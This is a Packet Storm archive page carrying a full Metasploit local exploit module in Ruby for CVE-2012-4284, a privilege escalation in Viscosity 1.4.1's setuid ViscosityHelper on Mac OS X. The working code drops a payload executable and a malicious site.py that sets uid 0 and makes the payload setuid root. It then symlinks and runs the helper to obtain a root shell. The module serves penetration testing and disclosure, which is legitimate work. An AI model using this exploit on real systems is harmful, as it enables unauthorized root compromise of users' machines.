seeing is believing

Viscosity setuid-set ViscosityHelper Privilege Escalation

Viscosity setuid-set ViscosityHelper Privilege Escalation
Posted Mar 5, 2013
Authored by juan vazquez, Jason A. Donenfeld | Site metasploit.com

This Metasploit module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient validation of path names allows execution of arbitrary python code as root. This Metasploit module has been tested successfully on Viscosity 1.4.1 over Mac OS X 10.7.5.

tags | exploit, arbitrary, root, python
systems | apple, osx
advisories | CVE-2012-4284, OSVDB-84709
MD5 | fcfbba244b7ada20cab640eca6e0bbf0

Viscosity setuid-set ViscosityHelper Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

def initialize(info={})
super( update_info( info, {
'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
vulnerability exists in the setuid ViscosityHelper, where an insufficient
validation of path names allows execution of arbitrary python code as root.
This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
10.7.5.
},
'References' =>
[
[ 'CVE', '2012-4284' ],
[ 'OSVDB', '84709' ],
[ 'EDB', '20485' ],
[ 'URL', 'http://blog.zx2c4.com/791' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
'juan vazquez' # Metasploit module
],
'DisclosureDate' => 'Aug 12 2012',
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'Targets' =>
[
[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
}))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
], self.class)
end

def check
if not file?(datastore["Viscosity"])
print_error "ViscosityHelper not found"
return CheckCode::Safe
end

check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000")

if check =~ /ViscosityHelper/
return CheckCode::Vulnerable
end

return CheckCode::Safe
end

def clean
file_rm(@link)
file_rm(@python_file)
file_rm("#{@python_file}c")
file_rm(@exe_file)
end

def exploit

exe_name = rand_text_alpha(8)
@exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)

evil_python =<<-EOF
import os
os.setuid(0)
os.setgid(0)
os.system("chown root #{@exe_file}")
os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
EOF

@python_file = "#{datastore["WritableDir"]}/site.py"
print_status("Dropping python #{@python_file}...")
write_file(@python_file, evil_python)

print_status("Creating symlink...")
link_name = rand_text_alpha(8)
@link = "#{datastore["WritableDir"]}/#{link_name}"
cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"

print_status("Running...")
begin
cmd_exec "#{@link}"
rescue
print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
clean
return
end
print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    23 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close